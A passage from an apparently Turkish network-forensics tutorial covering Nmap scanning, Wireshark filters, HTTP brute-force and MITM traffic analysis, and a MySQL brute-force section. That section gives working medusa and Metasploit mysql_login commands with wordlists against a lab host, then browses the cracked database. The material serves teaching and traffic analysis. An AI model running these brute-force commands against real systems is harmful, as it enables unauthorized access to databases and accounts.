bayraktır. [*]FIN : Daha fazla bilgi gönderilemeyeceğini bağlantının sonlandırılması gerektiğini belirten bayraktır. [*]RST : Bağlantıyı resetleyen bayraktır. Şimdi gerekli argümanları öğrendiğimize göre port tarama analizine başlayabiliriz. Çeşitli port tarama yöntemleri mevcut bunlardan birini veya birkaçını göstereceğim.. İlk olarak TCP port tarama yöntemlerinden TCP SYN(Stealth) Scan ile başlayalım. Hedef sistem olarak ****sploitable 2, ana makine olarak Kali Linux 2020.4 ve aracımız ise Nmap
  • 9. Öncelikle nmap -sS <hedef> ile taramamızı gerçekleştiriyoruz. SYN(Stealth) Scan nmap'te varsayılan olarak yapılan, oldukça hızlı bir port tarama tekniğidir. SYN(Stealth) Scan aynı zamanda half-open Scan olarakta bilinmektedir. Böyle denilmesinin temel sebebi üçlü el sıkışmayı tamamlamamış olmasıdır. Böylece hedef sistemede oturum açılmaz, log kayıtı tutulmaz ve sistemde herhangi bir kayıt tutulmasının önüne geçer. TCP SYN(Stealth) Scan'da portların durumu(state) için dönecek cevaplar şunlardır: -open, closed ve filtered. Bu arada Port durumlarına bakacak olursak  open : Portun açıktır ve bulunan portu dinleyen bir uygulama mevcuttur. [*]closed ortun kapalıdır fakat erişilebilir. Portu dinleyen herhangi bir uygulama yoktur. [*]filtered : Portun durumu belli değildir. Filtreleme, problarının porta ulaşmasını engellemektedir. Açık veya kapalı olduğunu bilemeyiz. [*]unfiltered: Ack scan için dönen bu durumda portlar erişilebilir ama açık olduğu tespit edilemez. [*]open|filtered: Nmap portların açık veya filtreli olduğuna karar veremez. [*]closed|filtered: Nmap portların kapalı veya filtreli olduğuna karar veremez 6 farklı sonuç alma ihtimalimiz var.
  • 10. Kapalı portlar üzerindeki işlemler şu şekilde gerçekleşir. Hedefe SYN paketi gönderilir. SYN paketine karşılık RST/ACK geliyorsa portun closed olduğu anlaşılır ve sonraki porta geçilip tarama işlemi devam eder. Eğer SYN paketlerine cevap gelmezse filtered olarak kabul edilir. Wireshark üzerinden bir inceleme yapacak olursak.. 192.168.91.131 ip adresinden 192.168.91.133 ip adresine 443(https) portundan bir SYN paketi gönderiliyor. Hedeften ne döndüğünü incelicek olursak sağ tıklayıp follow >> tcp stream diyerek bu adreslere ait paketleri görebiliriz. SYN gönderdiğimiz hedeften görüldüğü gibi RST/ACK yanıtı gelmiş. Bu closed olduğuna veya firewall tarafından korunduğu anlamına gelebilir.
  • 11. Açık portlar üzerindeki işlemler ise şu şekilde gerçekleşir. Hedefe SYN paketi gönderilir. SYN paketine karşılık olarak hedef SYN/ACK gönderir. Burada portun open olduğunu anlarız. Normal şartlarda üçlü el sıkışmayı tamamlamak için ACK paketi göndermemiz gerekirken biz RST gönderip bağlantıyı sonlandırabiliriz. Buradaki temel amacımız herhangi bir güvenlik önlemine yakalanmamaktır. wireshark üzerinden açık olan bir port üzerinden inceleme yapalım.. Öncelikle açık portları görebilmek için SYN ve ACK değerleri 1 olan paketleri filtreleyebiliriz. Bunun için tcp.flags.syn == 1 and tcp.flags.ack== 1 ifadesini kullanabiliriz. Bilindiği üzere Wiresharkda and/or koşul ifadeleri kullanılarak filtrelemeler yapılabiliyor. Açık portları gördüğümüze göre örnek bir paketin streamine bakalım..
  • 12. Görüldüğü üzere SYN/ACK geldiğinde saldırgan hemen RST ile bitirmiş çünkü istediği bilgiyi elde etti. Esasen burdaki kilit nokta ilk SYN paketinegelen cevaptır. Ayrıca Win,Len,MSS değerleri hep aynı yani bu otomatize bir araçtarafından yapıldığı aşikar çünkü normal bir işleyişte bu değerlerde aksaklık olabilir ve ayrıca taranan portların arka arkaya taranması, tüm portların hemen hemen taranması da bir saldırı analizi olduğunu gösterir. Görüldüğü gibi RST ve ACK değeri 1 olan çok fazla(2023) port taranmış.. Bir de UDP port taraması analizi yapalım.. Öncelikle UDP(User DatagramProtocol) TCPye göre hızlıdır fakat güvenli değildir. Veri ismine datagram denilir. UDP port tarayıcıları protokol olarak TCP yerine UDP kullanır. Tarama yapılırken mutlaka UDP port taraması da yapılmalıdır. Popüler servislerin çoğu TCP üzerinde çalışsa bile DNS, SNMP ve DHCP gibi önemli servisler UDP'yi kullanır. UDP taraması, TCP'ye göre yavaş ve zor bir yöntemdir. UDP paket gönderebilir ancak durumu hakkında bilgi edinemez. TCP'den ayrılan en büyük yönü de zaten budur.Burada devreye ICMP protokolü girer. Boş bir porta gönderilen UDP paketi, ICMP port unreachable, Closed bir porta gönderilen UDP paketi ICMP error, yanıtını döndürecektir. Eğer herhangi bir yanıt döndürmezse port open demektir fakat UDP protokolünde paketin hedefe ulaşacağı garantisi verilemez. UDP scannerlar kaybolan paketleri de open veya filtered olarak tanımlayabilirler.
  • 13. Öncelikle nmap -sV -sU -p 53,161 <hedef> ile taramamızıgerçekleştiriyoruz. Detaylıca inceleyecek olursak UDP taramasıiçin -sU parametresi kullandık. Ayrıca servislerin sürüm bilgisini elde etmek için de sV parametresini kullanıdık. -p ile incelenecek portları seçtik 53-DNS (Domain Name System) ve 161-SNMP (Simple Network Management Protocol). 161. porta gönderilen UDP paketi ICMP error yanıtını döndürdüğü için port closed olarak tanımlandı. 53. porta gönderilen UDP paketi ise herhangi bir yanıt almadığı için open olarak tanımlandı. Burada verinin hedefe ulaşmamış olma ihtimalini de unutmayalım.. wireshark ile basitçe UDP paketi analizi yapacak olursak.. Öncelikle UDP yazarakfiltreleme yaptık ve paketin üzerine sağ tıklayıp follow >> UDP Stream dedik. 192.168.91.131 ip adresinden 192.168.91.133 ip adresine 161(SNMP) portuna UDP paketi gönderiliyor. Daha sonra 192.168.91.133adresinden cevap olarak ICMP alınıyor. UDP Başlığı(UDP Header) basit ve sadece 8 bytes'dan oluşur. İçeriğinde 4 unsur vardır, bunlar:  SourcePort(2 bytes) yani paketin kaynak bağlantı numarası,  Destination port(2bytes) hedef bağlantı noktası numarası,  Length(2bytes) UDP Data + UDP Header,
  • 14.  Checksum(2 bytes) Sağlama toplamı, hataları tespit etmek için. Görüldüğü üzerepaketimizin kaynak bağlantı noktası 37640, hedef bağlantı noktamız 161, paket boyutu 60 bytes + başlık boyutu yani 8 bytes toplam 68 bytes'dır. Basitçe bir UDP paket analizi bu şekildedir.. HOST KEŞİF TRAFİK ANALİZİ Host KeşifTrafik Analizi Sistemnedir?,öncelikle konumuzabu soruyla başlayabiliriz. Sistemözetlemekgerekirse,birbiriyleilişki içerisinde olan,birbiriyle etkileşenelemanlar topluluğunaverilenisimdir. Şimdi ise wireshark toolu ile ağdaki sistemleri keşifedeceğiz.
  • 15. Komutumuz; Kod: wireshark Karşımıza çıkan ekranda ağ seçimi yapacağız ben eth0'ı seçip devam ediyorum.
  • 16. Trafik akışı gözükmeye başlıyor. Source kısmında bulunan sistem bütün ağa broadcast yayını yapmaktadır bunun amacı ise ayakta olan cihazları tespit etmek. Bu bölümde opcode'nin değeri 1 olduğu için bu sistem bütün ağa broadcast isteği göndermiştir. opcode 1 olan kayıtlara bakarsak burada istek yapan ip adreslerini görebilmekteyiz. Karşı tarafdan ip adreslerini istemekte, ayakta olan cihazlar ise reply(opcode 2) göndermektedir.
  • 17. Arp isteğinde aktif olan cihazların 80 portu açıksa syn paketi gönderimide yapılır. Komutumuz; Kod: nmap PS -p 80 open -n 192.168.6.0/24 Burada ise 30 numaralı adrese syn paketi gönderilmiş, gönderilen hedef syn+ack ile onaylamış ve saldırgan makine reset paketini göndermiştir. Reset paketini gönderme amacı nedir? Çünkü saldırgan bağlantı kurmak istememekte, saldırganın amacı sistemin açık olup olmadığını kontrol etmektir. Burada ise 129 numaralı makine 254 numaralı makineye syn göndermiştir ancak bir sonuç alamamıştır çünkü 80 portu kapalıdır. Ağ'da Aktif Cihazların Keşif Analizi Üst tarafta bulunan filtre bölümünü kullanacağız.
  • 18. Komutumuz; Kod: arp.opcode = = 1 Arp istekleri ile ağda yer alan cihazları tespit etmiş oluruz. Burada girmiş olduğumuz 1 değeri ile ağ üzerinde yaptığımız arp isteklerini görebiliriz ve tüm cihazların ip ve mac adreslerini görebiliriz. Komutumuz; Kod: arp.opcode = = 2 Burada girmiş olduğumuz 2 değeri ile ayakta olan cihazlardan gelen reply paketlerini görebiliriz yani mac adres bilgisi vs. yer almaktadır. Ayakta olan cihaz source kısmında bulunurken, arp isteğini gönderen saldırgan tarafın bilgileri de destination bölümünde bulunur.
  • 19. Bu konumunda burda sonuna gelmiş bulunmaktayım. Bugs Bunny iyi günler diler. TRAFİKTE DOSYA TÜRLERİ TESPİTİ Bu yazımda networktrafiğindeki bazıdosyaformatlarınıntespiti,indirilmesive kaynağına gidilmesini inceleyeceğiz. Birçok dosya formatı mevcut fakat bu yazımızda örnek olması açısında 3 tanesini(PNG,JPEG,AVI) inceleyeceğiz.. Örneklerde incelediğimiz trafiklerin tamamı HTTP protokolünü kullanmaktadır. PNG DOSYALARININ TESPİTİ ÖnceliklePNGnedir?PortableNetworkGraphics,dijital cihazlarda kullanılan, sıkıştırılmış bir görüntü formatıdır. Şimdi örnek bir trafikte PNG dosyalarının tespitini yapalım.. Filtre olarak aşağıdaki iki seçeneği de kullanabiliriz. Kod: http contains"x89x50x4Ex47" Kod: http contains"PNG"
  • 20. Yani PNGstringi yerine hexdeğeri de yazılabilir. Görüldüğü üzere PNGdosyamızıtespitettik. PNG DOSYALARININ DIŞA AKTARILMASI Protocol Tree Windowbölümünden HypertextTransferProtocol > File Data kısmınasağ tıklayıp Export Packet Bytes diyelim.
  • 21. ve .png uzantılıolacak şekildekayıtedelim. veya File > ExportObjects> HTTP diyelim.
  • 23. PNG DOSYALARININ KAYNAĞINAGİDİLMESİ Protocol Tree Windowbölümünden HypertextTransferProtocol > Full requestURI bölümüne sağ tıklayıpCopy > Value diyerekadresi kopyalayabiliriz. JPEG DOSYALARININ TESPİTİ JPEG(JointPhotographicExpertsGroup),standartlaştırılmışbirsayısal görüntükodlamabiçimidir. JPEG standardındagörüntüsaklayandosyabiçimi de çoğunluktarafındanJPEGolarakadlandırılır. Bu dosyalargenellikle .jpg,.jpe yada .jfif uzantılıdır. Yani özetolarak jpgile jpegarasında fark yoktur. Tekfark kullanılan karaktersayısıdır. Filtre olarakaşağıdaki iki seçeneğide kullanabiliriz. Kod: http contains"xffxd8" Kod: http contains "JPEG" JPEG DOSYALARININ DIŞA AKTARIMI Paketimizüzerine sağ tıklayıpFollow> TCP Stream diyelim.
  • 24. Açılanpencerede Showand save data as kısmını raw olarakişaretleyelim. Raw Nedir?Wikipedia'yagöre RAW,dijital fotoğraf makinelerinde filmin karşılığıolansensörüzerine düşengörüntüdijital işlemci tarafındansayısal verilere dönüştürülüpfotoğraf haline getirilir.Çekim sırasında belli işlemlerdengeçenhamgörüntügeneldeJPEGbazende TIFFdosyabiçimine dönüştürülür. Özetolarakelimizdeki JPEGkaynağınısayısal veriye dönüştürdük.Dahasonra Findbölümünde ffd8 yazarak arama yapalım.ffd8noktasını bulduktansonraonoktadanitibarenbütünbölümü kopyalayalım Ufak birnot! ffd8yazmamızın sebebi JPEGgörüntüdosyaları FFD8 ile başlarve FF D9 ile biter.Yani buradaki amacımız başlangıç noktasıbulmaktır.
  • 25. Kopyaladığımızkısmı herhangi birhexeditörüile açalım ve kopyaladığımızkısmı yapıştıralım. ve bu dosyayı.jpeguzantılı olacak şekilde kaydedelim.İşlemimizbukadar. JPEG DOSYALARININ KAYNAĞINA GİDİLMESİ Aynı şekildeProtocol Tree Window bölümünden HypertextTransferProtocol > Full requestURI bölümüne sağtıklayıp Copy> Value diyerekadresi kopyalayabiliriz.
  • 26. AVIDOSYALARININ TESPİTİ AVINedir?AudioVideo Interleave Kasım1992'de Microsofttarafındantanıtılan Windowsiçin görüntününbirparçası olançokluortam içerikbiçimidir.avi videove sesdosyalarınıbiraradaiçeren dosyalaraverilengenel addır. Örnekbirtrafikte AVIdosyalarınıntespitini yapalım.. Filtre olarakaşağıdaki iki seçeneğide kullanabiliriz. Kod: http contains"x52x49x46x46" Kod: http contains"AVI" AVI DOSYALARININDIŞA AKTARIMI
  • 27. Aynı şekilde Protocol Tree WindowbölümündenHypertextTransfer Protocol > File Data kısmına sağ tıklayıpExport Packet Bytes diyelim. .avi uzantılı olacakşekilde kayıtedelim.
  • 28. veyayukarıda örneğini gösterdiğimiz File >Export Objects> Http kısmından da .avi uzantılıdosya kayıt edilebilir. AVIDOSYALARININ KAYNAĞINA GİDİLMESİ PNG ve JPEG dosyalarındaolduğugibi AVIdosyalarındadakaynağagidilirkenProtocol Tree Window bölümünden HypertextTransferProtocol > Request URI bölümüne sağtıklayıp Copy> Value diyerek adresi kopyalayabiliriz. veya Paketinüzerine sağtıklayıpFollow>TCP Stream diyerekde dosyakaynağıhakkındabilgilerelde edilebilir.
  • 29. Konumuburadabitirmişbulunmaktayım. Selamve Sevgilerle.. HTTP TRAFİĞİNDE FİLTRELER Bu yazımızda HTTP trafiğini incelerken kullanabileceğimiz filtreler hakkında bilgi vereceğim. Yapacağımız örneklerde kullandığımız araç Wireshark Version 3.2.8 Http(Hyper Text Transfer Protocol) Protokolü Nedir? 90 yıllardan bu yana kullanılan popüler bir iletişim protokolüdür. HTTP protokolü sayesinde internet ağı üzerindeki web sayfaları görüntülenebilir. Genel manada HTTP istemci(web tarayıcı örn. chrome) - sunucu(web sunucusu) arasındaki iletişimin kurallarını belirleyen yapıdır. Taşıma katmanında TCP protokolünü kullanır. Ayrıca bu protokol 80 portunu kullanır. Temel Çalışma Mantığı Bir tarayıcı yardımıyla bir web sayfasına girmek istersek, sitenin adresini yazdığımızda HTTP ile web sayfasına bir bağlantı isteği göndermiş oluruz. Eğer bu istek kabul
  • 30. edilirse(200lü kodlar döner) web sayfası ile bağlantı kurmuş oluruz. Eğer kabul edilmezse(500lü kodlar eğer tarayıcı ile ilgili bir hataysa 400lü kodlar) bize bir hata kodu döndürür. Filtreler Kod: http.response == 1 || 0 http.response == true || false Gelen cevapları(response) görmek için boolean kullanabiliriz. True veya 1 değeri response'ları bize filtreleyecektir. Kod: http.response.code = 200 HTTP yanıt durumu kodları ile filtreleme yapılabilir. Örnek "200 Tamam" yani başarılı istekleri filtreledik. veya Kod: http.response.code == 404 Bu sefer ise 404 Not Found yani bulunamama hatasının bulunduğu paketleri filtreledik. Kod: http.request.method == "GET"
  • 31. request methodu "GET" olanları filtreledik. Kod: http.request.method == "POST" request methodu "POST" olanları filtreledik. Kod: http.user_agent == "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0)" User-Agent değeri ile filtreledik. User-Agent Nedir? Kullandığımız internet tarayıcılarının hepsi içerisinde User-Agent bilgisi bulundurur. Biz bir sunucuya bağlanmak istediğimizde karşı taraf bizim hangi tarayıcıyı ve hangi işletim sistemini kullandığımızı öğrenebilir. Pakete Follow > HTTP Stream yaparak kontrol edebiliriz. Diğer vereceğimiz örneklerde de detaylar için bu işlemi yapınız.
  • 32. Kod: http.host == "asecuritysite.com Host adresine göre filtreleme yapabiliriz. Kod: http.request.full_uri == "Full/request/URI/adresi" Full request URI adresi ile filtreleme yapabiliriz. Kod: http.date == "Mon, 17 Jun 2013 09:27:32 GMT"
  • 33. Tarihe göre filtreleme yapabiliriz. Kod: http.content_type == "application/json" Uygulama türünü belirterek filtreleme yapabiliriz.Ayrıca "text/html", "text/css", "application/xhtml+xml" vs.. bunlar da birer örnektir. Kod: http.accept_encoding == "gzip, deflate"
  • 34. Accept Encoding istemcinin hangi içerik kodlamasını anlayabileceğini bildirir, genellikle bir sıkıştırma algoritması olur. Buradaki örnekte gzip ve deflate(her ikisi de dosya sıkıştırmada kullanılır gzip daha etkilidir.) olarak filtrelemiş bulunduk. Kod: http.accept_language == "en-us" Accept-Language HTTP başlığı, istemcinin hangi dilleri anlayabildiğini ve hangi dil türünün tercih edildiğini bildirir. Burada en-us olarak filtreledik. Bunların Dışında; Kod: http.cookie > cookie bilgisine göre filtreleme http.content_length> içerik uzunluğuna göre filtreleme http.content_type> içerik tipine göre filtreleme http.file_data> veriye göre filtreleme http.********> konuma göre filtreleme http.time> zamana göre filtreleme Görüntü Filtreleri; Kod: http contains PNG or "x89x50x4Ex47" http.content_type == "image/png"
  • 35. http contains GIF or "GIF89a" http.content_type == "image/gif" http contains JPEG or "xffxd8" http.content_type == "image/jpeg" Video ve Ses Filtreleri; Kod: http contains MP3 or "x49x44x33" http contains AVI or "x52x49x46x46" Önceki yazımda kırmızı ile yazılanları detaylı bir şekilde inceledik. Detay için.. Diğer Dosya Türleri; Kod: http contains PDF or "%PDF" http contains ZIP or "x50x4Bx03x04" http contains RAR or "x52x61x72x21x1Ax07x00" http contains GZIP or "x1Fx8Bx08" http contains SWF or "x46x57x53" Ayrıca filtreleme işlemi yaparken stringler yerine kullanabileceğiniz Magic Number'lar işinize yarayabilir. Detay için.. Not: Bazı Wireshark filtreleri eski versiyonlarda desteklemeyebilir örneğin "http.accept" filtresi 1.0.0 versiyonu ile 3.4.1 versiyonu arasındaki wireshark sürümleri için kullanılabilirken, "http.bad_header_name" filtresi 3.0.0 versiyonu ile 3.4.1 versiyonu arasında kullanılabiliyor. Not2: HTTP filtrelerinde daha da detaya inmek isterseniz bu adresten filtrelerin karşısına gelebilecek değişken tiplerine ve desteklediği versiyonlara kadar hepsini bulabilirsiniz. Konumu burada bitirmiş bulunmaktayım. Selam ve Sevgilerle..
  • 36. HTTP BRUTE FORCE SALDIRI ANALİZİ Saldırı trafikyadını açıp incelemeyebaşlıyorum.Gözüme çarpanilkşeyüçlüel sıkışmanın gerçekleşmişolmasıve hemen ardındanhttpisteğiningönderilmesi. İlgili GETisteği /kök dizinineyapılmışhemenüzerinetıklayıpaşağıdanisteğiniçeriğine bakıyorum. Testphp.vulnweb.comsayfasınabirGET isteği yapılmış.Burayakadar herhangi biranormal durum yok.Burada paketlerarasındakaybolmadanprotokol hiyerarşisine gözatıpbilgi toplamaya başlıyorum. Protokol hiyerarşisinde elde ettiğimbilgiye göre httpprotokolündeisteklergerçekleştirildiği,text data ve form tabanlıisteklerinolduğunugörüyorum.Busebeptenhttpüzerindenbilgilerelde etmeye devamediyorumburayatekrardangeleceğim. http packetcounterbilgisine gözatıyorum.
  • 37. 117 adethttppaketi olduğunugörüyorum.Response paketdetaylarında28 adetbaşarılı istek,8 adet not found,8 adet302 foundşeklinde responselerdöndüğünügörüyorum.Requestpaketlerinin ayrıntısında ise POST,GET ve SEARCH isteklerininkullanıldığınıgörüyorum. http requestssekmesindeninceleme yaparsakhangi sayfalaraistekyapıldığınınetolaraksayısıyla görüyoruz. Administrator,admin,admin/admin.phpvbbirçoksayfayaistekgönderilmişbudaaçık bir şekildeadminpanel tespitiyapılmayaçalışıldığınıgösteriyor. http requestsequencesayrıntılarınadabakalım. Burada login.phpüzerindebirçokistekyapılmış,buradananlaşılansaldırganbusayfadaepey oyalanmışdahasonra da userinfo,guestbookgibi sayfalaraerişimsağlanmış.Loginsayfasınayönelik çeşitli brute force ataktan sonrauserinfosayfasınaerişimsağlamışolabilir.
  • 38. Protokol hiyerarşi ayrıntılarınatekrardönüptextdataüzerinde filtreuygulayarakilgili paketleri görüntülüyorum. Burada 200, 404, 302 response değerleri dönenbirçokpaketkarşımızageldi.Buradanhttpstreamile tüm httppaketlerinibirleştiripinceliyorum. Adminsayfasınaistekyapılmış200 oksonucudönmüşve sayfa içerisinde linkbağlantısıolarak create.sql adındabirdosyayer alıyorve hemenardındanbu dosyayabirget isteği gönderilmişyani ilgili dosyayatıklanmış.
  • 39. İlgili GETisteğininresponse içeriği incelenirsesql dosyasınıniçeriğini görebiliyoruz.Yani saldırgan kardeşimizbirsql dosyasıelde etmişneye niyetneyekısmetdiyelim. Hemenardındangidenistekve yanıtlarıinceleyelim.
  • 40. Buradan hareketle anlayacağımızsaldırgançeşitli denemeleryapmışsonuçolarak404 yani herhangi bir sayfadönmemiş.Protokol hiyerarşisindede 404 içerenbirçokyanıt görmüştükbunlarınaslındabir adminpanel bulmayayönelikisteklerolduğunuanlayabiliriz. Sabredendervişmuradınaermiş.Saldırganlogin.phpsayfasınaistekgöndermişve 200 okyanıtını almış yani aslındaloginsayfasınıbulmuş.Buradansonrasaldırganyüksekihtimalle loginformakaba kuvvetdenemesi yapmışolmalı. Buradan gördüğümüz gibi postdataiçerisinde unameve passpostparametrelerineadmin-admin şeklindedeneme yapılmışve 302 foundsonucudönmüş.Buradananlayacağımızüzere tahminiz tutuyoryani bir kabakuvvetdenemesi var.Postverilerininuserinfo.phpde işlendiğini anladığımıza göre userinfosayfasınayapılanistekleri filtreleyebiliriz.
  • 41. İlkpostisteğininiçeriğinigörüntülediğimde html formiçerisinde postdatalarınıniçeriklerini görüyorumadminadmindenemesi yapılmış.Zatenprotokolhiyerarşisinde bunugörmüştük. Sırasıyla postisteklerininbuşekilde kabakuvvetiçerdiğini görüyoruz. İşaretlenenpakette isegidenbilgilerbuşekilde. Buradan sonraise birpost isteği dahave ardından getisteği yapılmış. Bir sonraki postisteğinde isefarklıparametreler değerlergirildiğinigörüyoruzyani farklıbirformvar. Buradan saldırgantesttestbilgilerini girerekpaneleerişmişve farklıbirformadeğerlergöndermiş. Zatencookie değerleri içerisinde de test-testverilerininolduğunugörüyoruzsaldırganbubilgilerle girişyaptıktansonra cookie oluşturulmuş.
  • 42. POST filtresiyaptığımızzamancomment.phpde gidendatalarabakalım. Kullanıcıburada comment.phpsayfasındamesajınıbırakmış. Searchsayfasındaxssdenemesi yapmış.Yani kısacasısaldırgansırasıyla adminpanel tespitetmiş, kaba kuvvetsaldırısıyapmış ve içeride çeşitli mesajlarbırakmış.Ayrıcahttp-objectsdiyerekşuadmin sayfasındabulunancreate.sql dosyasınıdadışarıya aktaralım. Saldırganbu sql dosyasınaerişmişti.
  • 43. Bu analizimizde buradabiter. MITM SALDIRI ANALİZİ MITM (Ortadaki Adam Saldırısı) MITM Nedir? Ortadaki adam saldırısı ağda bulunan iki bağlantının arasındaki haberleşmenin dinlenmesiyle verilerin ele geçirilmesini veya haberleşmede herhangi bir değişiklik yapılmasını sağlayan bir saldırı türüdür.
  • 44. Ortadaki adam saldırısında user’ın yaptığı istek server’e gitmek yerine önce saldırgana gitmektedir. Local Ağ Üzerinden Yapılan Saldırılar DNS Spoofing: Kullanılan DNS sunucusunun veri tabanına sızılarak verilerin değiştirilmesiyle IP Adresinin saldırganın istediği bilgisayara yönlendirilmesiyle olan bir saldırıdır.
  • 45. ARP Poisoning: User’ın göndermiş olduğu istekler istenilen yere gitmek yerine saldırgana gider. Peki bu nasıl oluyor? Saldırgan kendini istenilen yer olarak gösterip user’ın gönderdiği istekleri alır. Saldıtgan Fake ARP Request ile kendisini istenilen yer(hedef) olarak gösterebilir. Saldırgan MAC adresini target bilgisayara ‘network device mac adress’ olarak gösterir. Port Stealing: Fake ARP oluşturularak target sunucunun MAC adresini kaynak adresi olarak kullanıma alır. Bu sayede kurbanın bilgisayarına gönderilen tüm veri, istekler saldırgana ulaşmış olur. STP Mangling: STP (Spanning Tree), switchlerin iletişimi sırasında oluşabilecek loop’ları önleyen bir protokoldür. STP Mangling ise STP protokolünün çalışmasını engellen bir saldırı türüdür.
  • 46. Gateway ile Local Ağdan Dış Ağa Yapılan Saldırılar ARP Poisoning DNS Spoofing ICMP Redirection: Saldırganlar tarafından ICMP Redirect mesajları saldırı amacıyla trafiğini üzerine almak için kullanılan saldırı türüdür.
  • 47. DHCP Spoofing: Saldırgan DHCP sunucusu görevi alarak kendini gateway gibi gösterip hedef bilgisayarlara IP dağıtır. Bu sayede bütün ağ trafiği kendi üzerinden geçer. IRDP Spoofing: ICMP Router keşif protokolü, ana makinenin yönlendiricilerinin IP adresini keşfetmesini amaçlar. Saldırgan fake ağdaki IRDP yönlendiricisini ana makineye göndererek varsayılan yönlendiricisini değiştirmeyi amaçlar. Route Mangling: Saldırgan gateway’e internetteki istemci için en iyi route olduğunu fake paketler göndererek kandırır.
  • 48. Dış Ağ Üzerinden Yapılan Saldırılar DNS Poisoning Route Mangling Traffic Tunneling: Saldırganın tünel oluşturup kendisini ana ağ’a yerleştirmesini amaçlayan bir saldırı türüdür. MITM Saldırı Analizi Öncelikle analiz için ben wireshark kullanacağım. Şimdi ise ARP saldırısı yapalım.
  • 49. -i(interface) kablolu internet kullandığımdan eth0 siz isterseniz wlan0’da kullanabilirsiniz. -t(target) ilk olarak gateway, ardından ise hedefimizin IP Adresini yazalım ve saldırımızı başlatalım. Artık analiz kısmına geçebiliriz. Gördüğünüz gibi hedef ip adresimize farklı adreslerden paketler gelmiş. IP Adreslerinin farklı olmasının sebebi ARP paketi olması. Paketlerden birini seçip inceleyelim.
  • 50. Source Port: 443 (Kaynak Port Bizim Portumuz) Destination Port: 59223 (Hedefin Portu) Source: 142.250.184.130 (Hedefin ip adresi) Destination: 192.168.1.33 (Bizim ip adresimiz) MYSQL BRUTE FORCE SALDIRI ANALİZİ MYSQL BRUTE FORCE SALDIRI ANALİZİ İçerik; 1.MYSQL Nedir? 2.MYSQL'e Brute Force Saldırısı 2.1.Medusa ile Brute Force Saldırısı 2.2.Metasploit ile Brute Force Saldırısı 3.Saldırının Analizi 3.1.NetworkMiner ile Analiz 3.2.Tshark ile Analiz 3.3.Wireshark ile Analiz 1.MYSQL Nedir?
  • 51. 1994 yılında geliştirilmeye başlanan, 23 Mayıs 1995 yılında ise ilk sürümü yayınlanan MYSQL 6 Milyondan fazla sistemde yüklü olduğu söylenmektedir. MYSQL multi- threaded(çoklu iş parçacıklı), multi-user(çok kullanıcılı), robust(hızlı ve sağlam) bir veri tabanı yönetim sistemi olarak kullanıcıların hayatında yer etmiştir.Windows, Unix ve OS/2 gibi gibi sistemlerde kullanılmaktadır. Ücretsiz sunulmakla birlikte ticari lisanslar için ücretli bir lisans seçeneği de mevcuttur.Açık kaynak kodlu bir sistemdir. SQL (yapılandırılmış sorgu dili) aracılığıyla kontrol edilebilir. Bağımsız bir grafik kullanıcı ara yüzü yoktur, ancak birçok yardımcı araç bulunmaktadır(Örnek: MYSQL Workbench) Linux altında daha hızlı olduğu söylenmektedir. Genelde Web programlama dilleri olan ASP, PHP ile çokca kullanılır. Bu yüzden Web sunucularında en çok kullanılan veri tabanı özelliği gösterir. Ayrıca 2009 yılında, Oracle tarafından satın alınmıştır. MYSQL varsayılan olarak TCP 3306 portunu kullanmaktadır. 2.MYSQL'e Brute Force Saldırısı MYSQL servisine bir saldırı gerçekleşmesi için önceki yazımızda belirttiğimiz gibi  SQL sunucumuza uzaktan bağlantı etkinleştirilmiş olması gerekmekte yani internete açık olması gerekiyor. Bir diğer deyiş ile Fiziksel bağlantımız olmak zorunda ve  1433 numaralı portumuzun open(açık) durumda olması gerekmektedir. Close veya filtered durumda, saldırımızı gerçekleştiremeyiz. Bu sefer farklılık olması amacıyla Brute Force saldırısını metasploit ve medusa olmak üzere 2 farklı şekilde gerçekleştireceğiz. 2.1.Medusa ile Brute Force Saldırısı 1. aşama tespit ; Nmap ile port taraması yapalım. 3306 yani MYSQL'in çalışıtığı portun durumunu kontrol edelim. Bunun için Nmap aracında kullanacağımız komut; nmap -p 3306 192.168.1.3
  • 52. Klasik bir tarama yaptık. Yapacağımız saldırı MYSQL üzerine olduğu için spesifik olarak 3306 numaralı portu -p parametresi kullanarak taradık ve 3306 numaralı portumuz açık, çalışan servis ise mysql buraya kadar her şey doğru. Şimdi Brute Force atağa geçelim. 2. Aşama Saldırı Önceki yazımızda xHydra aracını kullanmıştık. Bu sefer çeşitlilik olması açısından Brute Force saldırısı için kullanacağımız araç Kali Linux'da default olarak gelen medusa aracıdır. Oldukça basit ve kullanışlı bir araçtır. İşi uzatmamak adına password'u wordlist içerisine başlara yerleştirdim. Username ise root olarak belirtiyorum. medusa -h 192.168.1.3 -u root -P /root/Desktop/example_layef_pass.lst -M mysql -F Yazdığımız komut dizisini açıklıcak olursak; -h : Hedef adresi belirttik -u : Tekil olarak bir hedef(username) verdik. Eğer elimizde Bir Username listesi olsaydı -U ile belirtebilirdik. -P : Bir password listesi yolu gösterdik. Eğer tek bir pass belirtmek istersek -p parametresini kullanmamız gerek. -M : Parametresi ile saldırıyı yapacağımız servisin adını küçük harflerle belirtiyoruz. -F : Bu parametre ile username ve pass bulunduktan sonra işlemi sonlandırır. Bu parametre verilmezse Brute Force işlemi listedeki birimler bitesiye kadar devam eder.
  • 53. Görüldüğü üzere Brute Force saldırısını gerçekleştirdik ve şifreyi elde ettik. 2.2.Metasploit ile Brute Force Saldırısı Metasploit açıldıktan sonra kullanacağımız modülü seçiyoruz. use auxiliary/scanner/mysql/mysql_login bu yardımcı modül Brute Force saldırısı yaparak oturum açmamıza yardımcı olacak.
  • 54. show options diyerek gireceğimiz parametreler hakkında bilgi sahibi olabiliriz. -- set RHOSTS 192.168.1.3 (Hedef ip adresi) -- set USERNAME root (kullanıcı adını belirttik) -- set PASS_FILE /root/Desktop/example_layef_pass.lst (Bir pass listesi yolunu gösterdik) ve run diyerek saldırı işlemine geçelim Saldırımızı tamamladık ve şifreye ulaştık. Şimdi bu şifreyi kullanarak giriş yapıp, veri tabanı üzerinde bir saldırgan gibi birkaç işlem yapalım ki trafiği incelerken bir saldırganın veri tabanı üzerindeki işlemlerini de analiz edebilelim,
  • 55. 1 numaralı bölümde Brute Force ile şifresini öğrendiğimiz mysql servisine uzaktan bağlantı yapıyoruz. 2 numaralı bölümde show databases; diyerek içerisinde bulunan veri tabanlarını görüntüledik. 3 numaralı bölümde use tikiwiki; diyerek inceleceğimiz veri tabanı ismini seçtik. 4 numaralı bölümde show tables; ile tikiwiki içerisindeki tabloları görüntüledik.
